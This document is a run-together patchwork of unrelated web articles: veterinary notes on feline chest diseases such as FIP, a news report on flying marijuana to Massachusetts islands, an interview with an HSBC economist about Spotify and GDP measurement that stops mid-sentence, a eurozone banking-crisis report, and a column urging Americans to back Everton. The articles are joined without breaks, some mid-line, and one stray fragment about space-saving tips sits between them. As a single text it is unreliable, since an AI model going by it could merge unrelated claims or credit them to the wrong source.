FIP – There is no treatment that will eliminate the virus that causes FIP. Once the symptoms of the infection appear, there is little that can be done. The effects of the virus can be suppressed with glucocorticoids (steroids) for a short while, but eventually the cat will succumb to the virus. Ruptured thoracic duct – This not always treatable. Some success has been had with both medical and surgical treatment options. Congestive heart failure – Fluid can be held in check with medications like furosemide (a diuretic or “water pill”) and enalapril (improves heart function).
Additionally, the goal of treatment is to have your cat feeling well enough to eat and drink on his own. Your cat will most likely be hospitalized for a few days until all these goals are achieved. He may be put on intravenous fluids and receive injectable medication beyond those already discussed to ease his breathing. He may need to be on oxygen for an indefinite amount of time as well.
Other Causes
Other things that can cause difficulty by affecting the chest (pleural cavity): trauma, tumors, hiatal hernia, diaphragmatic hernia, bleeding (hemothorax), and infection (pyothorax and pleurisy).
Living and Management
Most of the diseases that affect the chest will require prolonged or life-long care to keep your cat breathing easy. These diseases generally do shorten your cat’s life span. The worst is FIP, which usually proves fatal in 1 to 2 months. Follow-up visits and tests will be necessary to monitor your cat’s condition. The long-term goal for most of these diseases is quality of life, not cure.
Prevention
There is little to be done to prevent these diseases. Some cases of cardiomyopathy are due to deficiencies of taurine, an amino acid. Commercial cat foods are formulated to supply your cat with a sufficient amount of taurine; you can buy supplements that contain taurine as well. There is a vaccine available for FIP, but the use of this vaccine is highly controversial, and should be discussed with you veterinarian.
See Also
IMAGE: Quinn Dombrowski via FlickrThe Massachusetts Cannabis Control Commission is considering whether an untested federal regulation could provide a legal basis for moving marijuana between the mainland and the islands of Martha’s Vineyard and Nantucket.
Just as in the rest of the state, marijuana is legal on the two islands. But they are surrounded by airspace and waters subject to federal law, under which the drug is strictly illegal. Pilots who knowingly fly with the drug risk losing their licenses.
That presents a major headache for customers and potential cannabis business owners on the islands. Without a workaround, dispensaries there won’t be able to order marijuana from suppliers elsewhere in Massachusetts, and growers and processors on the islands would not be able to send their products for required lab-testing on the mainland.
Advertisement
Now, Massachusetts officials are eyeing a possible answer: A little-known Federal Aviation Administration rule enacted in 1972.
Get Talking Points in your inbox: An afternoon recap of the day’s most important business news, delivered weekdays. Sign Up Thank you for signing up! Sign up for more newsletters here
The regulation bans pilots from knowingly operating aircraft carrying illegal substances. But it also says the prohibition “does not apply to any carriage of narcotic drugs, marihuana [sic], and depressant or stimulant drugs or substances authorized by or under any Federal or State statute or by any Federal or State agency.”
Steve Hoffman, chairman of the state Cannabis Control Commission, said a plain reading of the regulation would allow flying marijuana to the islands from mainland Massachusetts. His agency is evaluating the FAA rule, with an eye to drafting procedures to allow planes to do just that.
The agency learned of the obscure rule after marijuana activist Tom Angell wrote about it earlier in October.
Marijuana attorneys and dispensary owners were cautiously optimistic the rule could provide a solution to the long-simmering “island problem.”
Advertisement
“It allows you to sell on the island but cultivate on the mainland, where you don’t have to burn water and electricity at inflated island rates,” said Valerio Romano, a marijuana attorney who represents a company trying to open a dispensary on Nantucket.
However, Romano and Geoff Rose, who heads a group trying to open a medical dispensary on Martha’s Vineyard that plans to grow its marijuana on-island, both said it would probably be cost-prohibitive to fly marijuana samples to the mainland for lab testing—especially if they have to charter a plane. Currently, no commercial airlines allow marijuana on board.
“If safe, legal, and compliant, we will carry it,” said Dan Wolf, chief executive of Cape Air, the main airline servicing the islands. “Right now, [marijuana] is neither legal or compliant.”
In Alaska, where recreational marijuana is legal, licensed cannabis companies often ship it on commercial flights, according to published accounts. They tell state law enforcement agencies of their plans but intentionally keep airlines in the dark to avoid triggering the rule that bans pilots from knowingly carrying the drug.
Given the number of states that have legalized marijuana in some form, an FAA spokeswoman said, the agency is reviewing its rules “to provide a basis for FAA enforcement guidance on this subject.”
Advertisement
But Christopher Poreda, a former top lawyer for the FAA in New England who retired in 2015, doesn’t believe the regulation allows the cannabis commission to authorize private flights carrying marijuana. Its wording, he argued, hinges not on whether marijuana is legal under state law but on whether the carriage of the drug by air is legal under state law. That means Massachusetts would have to pass a new law, not a cannabis commission regulation, explicitly permitting such flights. Similarly, Poreda thinks the FAA regulation’s other clause only authorizes state agencies themselves to fly the drug, not pilots who have the permission of a state agency.
“I’m not sure the enthusiasm for this is founded,” Poreda said. “My sense of the agency is that they’ll do everything in their power to prevent this regulation from being used as a sword to promote the use of marijuana.”
No one is saying the rule authorizes pilots to fly marijuna into or outside Massachusetts. Under Obama-era federal policies, states where marijuana is legal must prevent the drug from crossing into other states, even if marijuana is legal there, too.
The so-called island problem was raised during the Legislature’s rewriting of the voter-approved recreational marijuana ballot measure earlier this year, but lawmakers directed the cannabis commission to find a solution.
Rose is hoping the cannabis commission will allow the Steamship Authority to permit marijuana on its ferries. The authority technically doesn’t allow the drug on its ships, but Rose said medical marijuana patients frequently sail to the Vineyard with small amounts of the drug and don’t encounter problems.
“I’m glad to hear that the [cannabis commission] is actually doing some thinking about this,” Rose said, “but the cheapest and most practical solution is to put it on the steamship authority. If you can carry an ounce of cannabis on your person without fear of prosecution, why can’t I bring a sample for testing?”
Romano, however, said the commission shouldn’t adopt a “look the other way” policy when it comes to bringing pot on federally regulated ships.
“None of my clients would rely on essentially smuggling cannabis to their dispensaries via a ferry as a real solution,” he said. “There is too much oversight and regulation of this industry to rely on that sort of workaround.”
The steamship authority did not return a call seeking comment. The Coast Guard, a federal agency, has said repeatedly that it will enforce the federal prohibition. But in Washington state, licensed firms use ferries to move marijuana between islands and the mainland without problems, a spokesman for that state’s cannabis agency said.
Dan Adams can be reached at daniel.adams@globe.comJames Pomeroy. HSBC The global economy is baffling economists, particularly those employed at central banks. Government mints have printed a vast amount of (electronic) money, and according to the textbooks the planet right now should look like the Weimar Republic in 1929 — awash in cash and growing like crazy.
But it's not. Growth and productivity are stagnating worldwide.
What if it's all Spotify's fault?
Or rather, not Spotify specifically, but tech companies and the services they provide. Our economy is less and less dependent on factories churning out physical objects, and more and more dependent on non-tangible, virtual goods and services.
In the old days, economists could count cars coming out of an automobile factory. They could count freight containers on ships in ports, and get an idea of whether trade was growing, and where exports and imports were headed.
But if Spotify, based in Sweden, sells a subscription to someone in the UK, that "export" is unlikely to be picked up in the trade measurement data. Even if it is detected in Sweden's tax data, it won't be reported and factored into Swedish GDP for months or years.
A 5 million mark note from the Weimar Republic. Germany
And it will be hardly recorded at all in the UK, even though the consumer who previously spent £30 a month on CDs is now spending £12.99 a month and receiving countless more albums. That consumer is now £17.01 richer every month than she was before — but her extra wealth isn't reflected in the macro data that the Bank of England uses to set interest rates, or the import data that the government uses to set spending policy.
HSBC global economist James Pomeroy recently published a fascinating paper that looks at this question. "The rise of the digital natives" argues that the increase in digital services like Spotify — and Apple and Google and Facebook and Amazon and on and on — put downward pressure on prices and inflation.
Right now, Pomeroy argues, central banks interpret a lack of inflation (or deflation) as a sign of impending recession, something that needs to be tackled with extra cash liquidity. But what if deflation is not a sign of recession but rather a product of the relentless efficiency of tech services like Uber, Airbnb and Spotify? That might explain why, in the UK, there is high employment and low unemployment, but low inflation and apparently marginal economic growth.
Maybe, Pomeroy suggests, central banks have a "Spotify problem": Under-calculating GDP because they are failing to count sales of virtual goods like Spotify subscriptions.
"Are we basically mismeasuring the actual amount of output? Are we mismeasuring productivity because of this quality element? Are we actually mismeasuring what is actually growth? I think Spotify is a good example," he says.
Pomeroy also suggests — controversially — that in a world of falling prices, companies like Uber could make workers richer. Not in the nominal face value of the money they earn but proportionally, in how far that money can increasingly stretch, year on year. (He also suggests the opposite might happen: In a world of falling prices employers might be keen to cut wages when they can.)
Pomeroy talked to Business Insider recently about the effect of companies like Spotify on inflation and growth, and whether central banks are measuring their activity properly. What follows is a lightly edited transcript of our conversation:
Jim Edwards: One thing I have noticed in economics recently is that all these major indicators — inflation, interest rates, labour productivity, GDP — are all trending to zero at the same time, in numerous countries. They usually move independently of each other. My question is, when all these trend to zero at the same time, are they linked? Do they feed off each other? And, if they do, how do we get out of that? It feels like we're stuck in a world of no growth, and we can't get out. This chart, from the Resolution Foundation, is what I am talking about:
Resolution Foundation
James Pomeroy: We've got a measurement issue. You have to think about, in this world, are we measuring things correctly? Because your traditional data on productivity is perhaps less applicable when a lot of your output or consumption data is virtual. It's harder to track trade data when a lot of it is services or virtual products like a Spotify subscription. I mean, how do you pick that up in Swedish export data?
JE: Are those things — Spotify subscriptions — literally not picked up in trade data?
JP: Well they're badly picked up. They're all estimated, It's so much easier to think about a Volvo shipped across on a boat. It's much easier to track that accurately than services trade, especially when it continues to have a bigger share. It's a lot more complicated data.
JE: But Spotify's revenues show up in tax data.And that will help Sweden's GDP, so it will show up there.
JP: It would, but you can't necessarily capture it in the exports numbers. It wouldn't necessarily get taken timely and correctly. It's much more difficult to account for it, and then you've got lots of other problems, not just on the services trade side, but also on the productivity side. Think about output per hour, it's much easier to account for it when you have a factory that's producing things.
When you've got a very service-heavy economy where a lot of the things you are producing are virtual, like, if we write a research report how do you put that into traditional productivity functions? All of these sorts of things are sea changes in the way we monitor our traditional economic data and it makes things pretty hard.
JE: With technology, and word-processing, and desktop design, you can probably produce 10 times the number of research papers today than you would've been able to 30 years ago, right?It's much easier to produce charts and data than it used to be. So I can see why it would be difficult to capture the sheer volume of work that you're creating. But can't HSBC look at the total revenue generated, look at the headcount, calculate sales per head, and see instantly that you're doing 10 times in productivity what we used to do 30 years ago, before computers did these things?
JP: You might be able to. From a company's perspective you could. But from a national accounting, economic data perspective it becomes much harder, because you're not dealing with physical items where you can say: "this has been produced, this has been sold for this, this has…" — just in terms of ease of measurement. We get economic data at a month lag, it has to be very easily picked up and counted. In the service trading example, high quality service trade data is often a year out of date just because it takes so much longer to get it done properly. There is clearly a sort of like hidden element there. It doesn't explain why they're all trending to zero but it explains why they might be slightly misconstrued. There is something else going on in that data. It might not be necessarily as terrible as growth and productivity being weak maybe, or inflation being zero for the same reasons. Because there's a sort of measurement issue in there because of the greater use of technology.
Daniel Ek, Founder and CEO of Spotify. Michael Loccisano/Getty Images for Spotify
JE: Are we actually measuring GDP correctly?
JP: Well that's the other thing to take away. As well as accounting for inflation differently, are we basically mismeasuring the actual amount of output? Are we mismeasuring productivity because of this quality element? Are we actually mismeasuring what is actually growth? I think Spotify is a good example. For my music consumption now I just need one Spotify subscription as opposed to buying a CD every time. It catches up very quickly.
JE: Surely though, inflation is fairly well measured?
JP: Prices aren't going up because of competition. It's much easier for you to find out the price of a book in an alternative retailer today than it was 10 years ago, then it's harder for prices to go up and that should be a good thing for the consumer, right?
If you have the ability to stand in Waterstones and look at the same book on Amazon and, even if it's a pound cheaper, Amazon will deliver it to your house the very next day, that ability for you to do that means it's harder for prices to go up. Now if you get lower inflation it's probably a good thing for the consumer. What you're doing is you're taking the producer surplus and you're putting it in the hands of the consumer. You might not necessarily see it in a lot of hard data if those things that the consumer is consuming are streaming services. If you have Spotify, rather than buying three CDs, that would show badly in the data. Again, Spotify is a really interesting example in this sort of world where I can consume the same music today... I can consume five times as much music on a Spotify subscription than I would by buying 10 CDs. On the national accounts data I've only spent a fifth, but I'm way better off. These technologies are changing the way we have to interpret the data.
JE: It might be better for consumers because there's low or even negative price inflation, but it also depresses wages. Amazon is using delivery guys who are much cheaper than the guys who published books sold at Barnes & Noble. Uber is a better example of that, in terms of delivering something with drivers who get paid less than taxi drivers. Would you argue to me that, if prices are falling faster than wages, then it's ok because workers are getting proportionately richer?
JP: Well that's one outcome. That's one outcome that real wages go up that way. The other example is interesting because if you think about what is happening, what the technology of Uber allows is for the taxi company — as in Uber rather than someone running a taxi company from a phone — is the actual ability to distribute those taxi drivers is much, much cheaper. The marginal cost [for Uber] of providing another taxi out is basically zero. This means that actually a greater share of the profit, in theory, from taxi journeys can go to the drivers and not the company, because it's scaling. So actually what could end up happening is the technology allows Uber to make a lot of money, and allows them to pay their drivers, but it could also make the consumer better off. The new company is better off, and the taxi drivers are better off because they don't have a taxi company creaming off excess profits from their journey, and the consumer benefits from cheaper prices.
JE: Is that actually happening with Uber though?
JP: Well, obviously Uber claims it does. There's a lot of independent research on Uber. The idea that the taxi drivers are probably about as well-off per hour once they've paid for their insurance, equipment etc. They're about as well off but a lot of drivers enjoy the flexibility, so you're providing that flexibility to the labour market, which is quite a good thing as well.
JE: But they're probably worse off once you account for the fact that they had to buy the car, fuel it, pay the insurance and so on.
JP: They reckon it's about the same once they have done that. In terms of cash per hour they earn more. They obviously don't have sick pay or pensions or any of that sort of stuff, so that's the downside. But at the same time Uber say a lot of their drivers are doing 10-hour shifts after they've been doing something else.
JE: I've heard of people who have other jobs but they've just got a new car, so they are an Uber driver for six or seven hours a week to take care of the car payment.
JP: Yeah, that's a good thing for economics, right? It's good economics, it's making full use of our time, it's productivity improvement, someone's providing a service and generating income in time where they would otherwise be doing nothing. But does that show up in the data? There's so many little nuances going on. The other option is wage growth, which is the more optimistic case. You could argue that all of these technologies make us all more productive, and they also allow for the opportunity of new businesses to come in. To tell you an example, some of my colleagues here do a lot of work on virtual reality, or AI, and it's the same. If these industries take off, you're creating new industries which are going to be heavily investing. You're gonna have companies which are incumbent industries, which are having to invest a lot of stay ahead of the game and try to compete, and this in turn could lead to higher productivity and that in theory sees through into wage growth. It's your sort of optimistic case: technological advancement drives growth and productivity and enhancement and that makes us all better off. That's fighting against your automation and your Ubers of the world. It's hard to know quite which way it ends up.
JE: Shouldn't we have seen that already though? Since the tech boom of 1999, many businesses have been created from nothing, they have created massive ecosystems around them that are entirely new businesses or economies, particularly in advertising, etc. But you look at the macro data and you don't see massive wage growth springing up over the US and Western Europe.
JP: No you don't, but my conclusion is that there's two factors. The potential for new businesses to put some pressure on productivity and wages, and then you've got the automation side as well. It's all cancelled itself out a little but. If you're a consumer whose wages are up and prices are staying flat then you're likely to be better off. As long as the consumer is better off in real terms that's fine, however that comes about, be it the prices fall more than wages or wages are up or vice versa, that'd be great. I don't know which side is going to play out unfortunately. But either way I would suggest this would be more beneficial for consumers.
JE: But overall it sounds like you're unimpressed with my idea that we should be scared of all these indicators declining to zero.
JP: I don't think so. I think it's interesting, but I don't think that it's necessary that we should be too scared by them.
JE: Is that because Sweden seems to be doing OK? I know you have this pet thing about Sweden and how it's the future.
JP: The canary in the coalmine, yeah.
Jim: In Sweden they use very little cash — transactions are largely digital — there are negative interest rates, it's a highly digital economy, much more than the rest of the West, and the economy is booming but there is no inflation. It's the best of all worlds, but some people think it's in a bubble.
JP: I used Sweden as a case study in this piece and it's done alright. You've got low inflation, very high tech usage, growth is doing very well because the consumer is doing very well. You have fixed wage growth because of the unions and the wage bar going up, so actually having low inflation you see the impact really, really strongly. So wage growth holds up at about 2.5% regardless of what inflation is doing.
JE: Very broadly, how does the union situation work in Sweden?
JP: So basically, every three years there's a local bargaining on wage growth. So that sets a sort of: "this is what everyone must pay on wage growth," and then companies add to it, so they settle on 2-2.5% depending on which industry. They had one at the beginning of this year that settled on these sorts of levels. So you've got a country with 1% inflation or lower, and you're getting 2% wage growth, so real wage growth has been positive for four or five years, which is obviously great news if you're a consumer.
Here it's slightly different. You're wage growth is fixed but what you have seen is companies telling us "we can't raise prices and we're starting to feel the pinch a little bit on our profits because we can't raise our prices and we're having to keep paying this wage growth. Our margins are getting squeezed a bit. But what you're basically seeing here is a transition away from the producer surplus to the consumer, and the consumer is winning at the expense of the producer. Maybe you argue then that it inhibits investment because companies are saying, "we can't make enough money, we'll have to invest but we can't."
JE: I don't see a lack of investment in Sweden. The economy is raging over there.
JP: It hasn't inhibited growth yet. Because companies are doing the opposite, and saying: "we need to do things better. We need to be more productive." So they're actually getting out and they're investing and they're making, producing the same products better. Productivity choice is very good in Sweden at the moment. Way stronger than anywhere else in the developed world, because that's what it's forcing companies to do. It's forcing them to innovate and produce the same goods cheaper. And so they can still sell at these 0% markups.
JE: Everything you're telling me about Sweden sounds like it could be a speech by Jeremy Corbyn. Guaranteed wage growth! High investment! Robust GDP growth! Low inflation!
JP: Ha ha it could be. It's just built into the culture, so when you get this tech uptake the feed into the economy might be slightly different but it's interesting nonetheless.
JE: Do you think the people of Sweden have adopted tech because these businesses are forced into finding these new efficiencies, or is there just something else going on in Sweden?
JP: There's a general sort of push, government incentives going all the way back over a fair few years, in regards to sort of teaching kids in school. I've got a chart which shows the age at which people first use the internet and various countries. Just going to bring it up. So in Sweden, for example, Sweden, Finland, Estonia, Denmark and Norway; 75% of kids have used a computer before they're 10.
JE: Do you have data for the UK?
JP: I don't have data for the UK. Japan is 45%, Germany is about 42%. Australia and New Zealand and pretty good, but it's the Scandis are all well clear of other countries on the age at which kids are picking up their computers. There's widespread use at a young age, tech adoption rate is very high. Internet usage in Sweden was 85% in 2005.
JE: Is there anything going wrong in Sweden? Are there any downsides to this?
JP: Err, growth started to slow a bit. The economy's doing well on service exports. You have a lot of innovation in Stockholm with tech companies starting up and selling stuff all over the world and they had a real boom last year and they've started to slow down, so that's leading to a slowdown in growth. You've also got extremely high levels of debt, which is really the central bank's fault with very low interest rates. The point I've made in this piece is if inflation is low for supply side reasons i.e. greater price information as a result of greater tech usage, then is cutting interest rates the right answer to low inflation? And in Sweden's case, I would say it hasn't been the right answer. And that's really a way of seeing some of the risks to the economy.
JE: I took my eye off the ball in Sweden for a while. Do they still have a bubble in housing situation?
JP: They did, they did. The prices fell a little in April and May. They changed the legislation in regards to paying mortgages, and you saw house prices fall for two months, but then they picked up again in the last few months.
JE: Was that the reform where they were required to pay down the principal on their equity?
JP: Yes, they have to pay |
creative space saving techniques you’d like to share? Please do through social media, contacting me, or using the comment form below.The interwoven banking and sovereign debt crisis in the eurozone has become so dangerous for the world that the US Federal Reserve has been forced to take emergency action, acting as global lender of last resort to shore up Europe's banking system.
That it should have to do so as Germany and the European Central Bank hold back for legal reasons and refuse to commit decisive power adds a strange diplomatic twist.
The move came once it was clear that Europe's prostrate banks would struggle to roll over $2 trillion (£1.3 trillion) of debts denominated in dollars. Data from ratings agency Fitch shows that US money markets have slashed funding for French banks by 69pc and German banks by 50pc.
Strains have been ratcheting up over the past two weeks. European banks are mostly shut out of the dollar market, or only able to raise money for a week at a time.
The so-called "stress alarm" – the euro/dollar three-month cross currency basis swap – spiralled down to minus 166 points early on Wednesday, uncannily like the last days before the Lehman crisis metastasized in October 2008.
The stress has been rising in lockstep with Italian, Spanish, Belgian and French bond yields for two weeks, but became violent after eurozone finance ministers admitted on Tuesday night that they were unable to leverage Europe's bail-out fund much beyond €600bn (£514bn). "Conditions have changed, so it is likely to be less than €1 trillion," said Eurogroup chair Jean-Claude Juncker.
The joint offer of cut-rate currency swap lines by the central banks of the US, Britain, Japan, Canada, Switzerland and the ECB preserves the polite fiction that this was to "ease strains in financial markets and thereby mitigate the effects of such strains on the supply of credit", but this was a Fed action to provide cheap dollar funding and head off a lethal crunch in Europe.
China took its own precautions – perhaps in concert – cutting its reserve ratio for the first time in three years to boost liquidity.
"Concerns have been building that Europe's banking system could go into meltdown," said Marc Ostwald from Monument Securities. "But the central banks may also have been worried that eurozone politicians will fail to deliver much at their December summit, so they need a mechanism in place to cope with the fall-out."
Andrew Roberts, rates chief at RBS, said European bank stress was reaching extreme levels. "They couldn't allow a sudden stop to the system. This at least takes away the precipice risk for now, but Europe is not going to able to tackle this crisis properly until Germany agrees to cross the Rubicon and accept massive bond buying by the ECB," he said.
There is little evidence yet that Berlin is willing to lift its veto on eurobonds or an ECB blitz. Chancellor Angela Merkel said it was "not appropriate" for to Germany drop its objections as a quid pro quo for backing from other EU states for treaty changes to police budgets. German finance minister Wolfgang Schauble said mass bond purchases and eurobonds are both illegal under EU treaties and remain "out of the question".
However, Germany is increasingly isolated, both in EU capitals and on the ECB's governing council. Austrian, Dutch and Finnish ministers have all opened the door over recent days for a bigger role for the ECB.
The Bank of France's governor Christian Noyer appeared to break ranks on Wednesday with the German-led bloc of ECB hawks, reflecting the political rift between Paris and Berlin on crisis strategy.
"It is essential to stabilise European bond markets. We have to recognise that the necessary degree of fiscal adjustment is heavily dependent on the level of market confidence," he said.
Jacques Cailloux from RBS said the ECB will cut interest rates to 1pc – perhaps 0.75pc – next week. It will take action to back-stop the financial system but will not yet open the floodgates to bond purchases or resort to quantitative easing.
"While the ECB is not the lender of last resort for sovereigns, it is for banks," he said. The measures are likely to include extending unlimited credit to lenders under its Long-Term Refinancing Operation (LTRO) to two or three years, with a broader range of collateral accepted, such as certificates of deposit and even dollar assets.
Whether such steps can bring Euroland back from the brink is unclear. Eurozone ministers appear to have little up their sleeves, hoping that the International Monetary Fund can do part of the heavy lifting. "We envisage a greater role for the IMF: that will be sufficient together with the EFSF," said Jan Kees de Jager, Holland's finance minister.
Yet the IMF is short of money. A US Treasury official said Washington is not willing to pay more into the IMF at this point, while Jim Flaherty, Canada's finance minister, said the Fund should not be used to bail out rich countries.
The drama always comes back to the ECB. Will it blink?Chris Brunskill/Getty Images
After a long summer of virtually no soccer worth talking about at all, it's officially Premier League season! Soccer is back in America! "Tim-may How-ward! (Clap, clap, clap-clap-clap!)"
Wait, I feel like I'm forgetting something.
The World Cup, as it does in this country every four years, managed to once again turn general sports fans into soccer supporters, and casual soccer viewers—they'll put a game on every other Saturday morning just to see what all the fuss is about—into ardent footy fans.
Only, there's something a bit different about the post-World Cup buzz this year. It feels like this time—with the prevalence of the sport on American television across close to 10 different networks—a lot of those World Cup fans are heading into the fall looking for more.
Once every four years may be enough for most American soccer viewers, but more and more people seem to be hoping the World Cup can serve as an introduction to the beautiful game, with many new fans left searching for the right club team to support.
Staying just within America's most popular club football league, the Barclays Premier League, there are several fine choices for fans to show their support.
For U.S. Soccer fans looking for a different kind of American soccer experience, there is really only one answer: Everton. Everton should become America's Team of the EPL. There really is no second choice.
Contextually speaking, America is a nascent soccer nation, and while the MLS ratings have seen a slight bump off the 2014 FIFA World Cup, it's surely not what our domestic league had hoped for. It's the European leagues, namely the Premier League, that expect to reap the biggest post-Brazil buzz. With that, new fans will look to latch on to whatever, or whomever, they know.
(Cue the Tim Howard chant again. Clap, clap, clap-clap-clap.)
With the increased popularity of the Premier League in America over the last decade, a constant bidding war has developed for EPL television rights. The last round went to NBC, which plucked the package from Fox and ESPN, making a concerted effort to promote the game specifically to American soccer fans; this included putting Howard in the booth for marquee games in which Everton was not playing.
The plan has worked. Not only were the ratings up for EPL last season on NBC's family of networks (when compared to the previous year on Fox Sports and ESPN), but there's a palpable buzz around the early-morning weekend matches that just didn't happen before NBC took over.
Add in the afterglow of the World Cup, and NBC should expect the best ratings this side of the pond the EPL has ever seen. (Note: There have already been industry whispers that ESPN plans to go in hard on the next round of rights bidding, hoping to get the EPL back after losing the World Cup to Fox. This is a great thing for EPL fans in America, as more television interest means more money, which means a larger commitment, which means more matches and more promotion on television.)
So what does all this have to do with a cash-strapped mid-table club that's second fiddle in its own city and…OH MY GOD, did I just suggest that new soccer fans in America start rooting for the EPL equivalent of the New York Mets?
I wanted to convince new American footy fans to support Everton, not to expose the biggest reason not to. Forget I ever said anything about the Mets, and let's focus on a few reasons why Everton should be the de facto home team for America's new EPL fans.
USA TODAY Sports
Tim Howard
Howard has been the top keeper in the United States for a generation. He is, by soccer standards in this country, one of the few household names in the game, and his performance in the World Cup did nothing but solidify his standing as a bona fide American soccer legend.
Howard signed a contract extension back in April to stay at Goodison Park through the 2018 season, when he will be 39 years old. After a stellar EPL campaign last season and a World Cup in which he showed how important he is to the success of U.S. Soccer, Howard is, by far, the most obvious reason for new American fans to choose Everton as their EPL team.
The way Howard played this summer, he shouldn't only be turning new fans into instant Evertonians; he might just be able to convert some existing American fans, too.
There aren't many Americans in the Premier League right now. Brad Friedel has been relegated to a backup keeper at this point in his career, serving more as an ambassador for Spurs to capture fans in America, while Brad Guzan—Howard's No. 2 at the World Cup—is the starter at Aston Villa. Good luck with that, new fans picking the claret and blue.
Geoff Cameron may be the highest-profile American field player in the EPL as a vital part of Stoke City, the same club that tried to turn Brek Shea into a viable contributor in Europe, an odd experiment that has thus far failed rather miserably.
And then there's Jozy Altidore, who returned to the EPL after a fantastic run with Dutch side AZ Alkmaar and joined Sunderland in a move that can only be called an unmitigated disaster to this point.
There have been other Americans in the EPL over the years. American fans who hitched their wagons to Fulham when Clint Dempsey was filling the back of the nets at Craven Cottage a few years ago are probably lamenting that decision now that Fulham has been relegated.
Dempsey did move to Spurs before returning to MLS last year, the same EPL side that are hot on the trail of American wunderkind De'Andre Yedlin this summer. That wouldn't be a terrible choice for American fans, if you like rooting for a club that would fire Ted Lasso after six-and-a-half hours.
For now, if new fans are looking for the best option in terms of profile, playing time and opportunity to succeed in the league, the American to support in England is clearly Howard, thus making Everton the team to back.
Dean Mouhtaropoulos/Getty Images
Everton's History With Americans
While certainly the most tenured and high profile, Howard is not the only American player to suit up for the Toffees in his career. Both Brian McBride and Landon Donovan had loan stints at Everton in their time. McBride played eight games on loan for Everton in 2003, scoring four goals before officially leaving MLS on a transfer to Fulham.
Donovan's time at Everton was also short-lived, but he made a decent impact during his last loan spell that had many Evertonians, and U.S. Soccer fans, hoping he would leave MLS two years ago and return to Goodison Park.
Last, and most tenured outside of Howard, is former U.S. international Joe-Max Moore, who played in 52 matches for Everton between stints with the New England Revolution of MLS. He certainly wasn't having his jersey retired at Goodison by any stretch, but there admittedly aren't many better American connections beyond Howard. Besides, how great would "I've been a supporter since the Joe-Max Moore days" play at an Everton bar? (Answer: Do not try this.)
Sure, it's not like showing up in a Manchester City kit with Claudio Reyna on the back (I'm really grasping for EPL connections now, folks), but at least there is some small tie to Everton's storied history and America's international stars. (Cue Tim Howard chant, again.)
Laurence Griffiths/Getty Images
If You Can't Beat 'Em…
Belgium knocked the United States out of the 2014 World Cup, with Romelu Lukaku netting the eventual game-winner in a match that saw Howard make more World Cup saves than any keeper in history.
In what may have been Howard's finest match for the USMNT, he was bested twice in extra time, the second of which came from his club teammate. It was a bittersweet moment for Everton fans in America, made more bitter than sweet by the assumption at the time that Lukaku—on loan from Chelsea last season—would be sold to another club after the World Cup.
Instead, Lukaku returned to Everton this summer, on a full transfer from Chelsea, making him officially teammates with Howard after signing a long-term deal with the club.
Lukaku is everything American fans want in a target forward, with his ability to link up with midfielders, serve as an outlet for the defense, control the ball with his feet in space and score like mad. Simply put, Lukaku is what American fans wished Altidore could be.
While our target man in the EPL is floundering at Sunderland, with speculation Altidore could to potentially return to MLS after Sunderland inked a new partnership with D.C. United, Lukaku is the striker we dream about…and now we don't have to root against him anymore.
If you can't beat him—and the U.S. could not—why not root for him?
Oh, and Lukaku isn't the only Belgian at Everton either, as Kevin Mirallas torched the Americans as a late substitute in the World Cup, and now you can root for him, too!
And if that's not enough, Everton just secured a loan for Christian Atsu, the player who gave the USMNT fits during its World Cup tilt with Ghana. I suppose even if you can beat 'em…
Clive Brunskill/Getty Images
America Loves Roberto Martinez
If there was one breakout star of ESPN's coverage over the last two World Cups, with apologies to any men currently wearing blazers for NBC, it was Roberto Martinez.
Martinez was fantastic in the studio, which endeared him to many USMNT fans so much that some want him to replace Jurgen Klinsmann after the 2018 World Cup. (Okay, I may have been the one floating that suggestion, but it's a great idea, you have to admit.)
For now, Martinez seems happy at Everton, and U.S. fans should be happy to watch him manage there. At the very least, it can provide a glimpse at what the U.S. should, and perhaps could, become.
This is funny, but for the last half-decade or so, Everton's style of play has mirrored that of the USMNT, even as managers changed for both teams.
David Moyes played a safe, defensive-minded brand of football that relied on crossing the ball to an in-the-box target while keeping enough players back to secure a draw before ever worrying about a win.
For fans of U.S. Soccer who remember the Bob Bradley era, the styles seemed similar. There was some success with that model, but there was a dourness that came with it.
With Martinez, that doesn't exist. Everton are fluid, aggressive and immensely offensive. The passing is more dynamic, the movement is with purpose and the formations are anything but dour. Possession is part of the plan, not a happy accident when it happens.
Isn't that exactly the way we want the USMNT to play?
Many of us thought it would be more open for the U.S. this go-around, but Klinsmann played things closer to the vest than anticipated, thanks to some injuries and a general lack of depth (read: trust) at key positions. Still, at times our collective eyes widened when Yedlin, Fabian Johnson or DaMarcus Beasley came banging down the wings, a scene that should feel eerily similar when Leighton Baines and Seamus Coleman do the same 40-odd times this season for the Toffees.
In many ways, the style employed by Martinez at Everton is exactly what Jurgen Klinsmann has promised U.S. Soccer fans and what we expect the German import to install moving forward into the next World Cup cycle.
Ian Walton/Getty Images
America Loves an Underdog
America is the front-runner in everything. We have to be the most powerful country in the world. We have to dominate at the Olympics or the World Championships or whatever competition we enter. We are Americans, which, to some in this country, automatically makes us the best in the world at whatever we do.
Only, not in soccer.
In soccer—men's soccer, in particular—America is a perpetual underdog. We get by on guile and guts and teamwork and making sure the sum of our collective parts works far better than each could ever do alone.
Donovan is widely regarded as the best American player in history, and he may not even be a top-100 player of his generation. That, for better or worse, is U.S. Soccer.
In some ways, it's also Everton. There are no big-ticket signings like Liverpool can routinely make from down the street. Sure, Lukaku was a big signing, but that money came from selling off Marouane Fellaini or Jack Rodwell or Mikel Arteta, or whoever over the last however many years was sold in order to pay the bills that led up to one team-record signing that would barely create a stir with the power clubs in England.
That said, Lukaku's signing was a message to Evertonians that they're serious. Leighton Baines said recently, via the Daily Mail's Richard Arrowsmith, that the move signifies Everton are done being a selling club for now.
It was a big statement. Rom was linked to loads of clubs and I think the Chelsea fans would have liked to have him back there as well. So it was a brilliant signing for us. Everyone is back now and I think the gaffer will be working on another couple of things he wants to do, but it's great to have Rom back and Gaz (Barry) as well.
They signed Gareth Barry to a new deal after he proved his mettle on loan last season. They extended the contract of young stars like Ross Barkley and John Stones this offseason and have so far resisted temptation to sell Baines or Seamus Coleman. Add that to the likes of James McCarthy's deal last year, and maybe Everton is serious about contending.
And yet, they're still an underdog. Those players combined don't equal the money going in or out of the power clubs. Chelsea spent more on Diego Costa and Cesc Fabregas, each, than what Everton paid for Lukaku. Liverpool jettisoned Luis Suarez for a heaping pile of cash, then spent much of that money on the likes of Adam Lallana and Dejan Lovren that, combined, make the Lukaku deal look like nothing big at all.
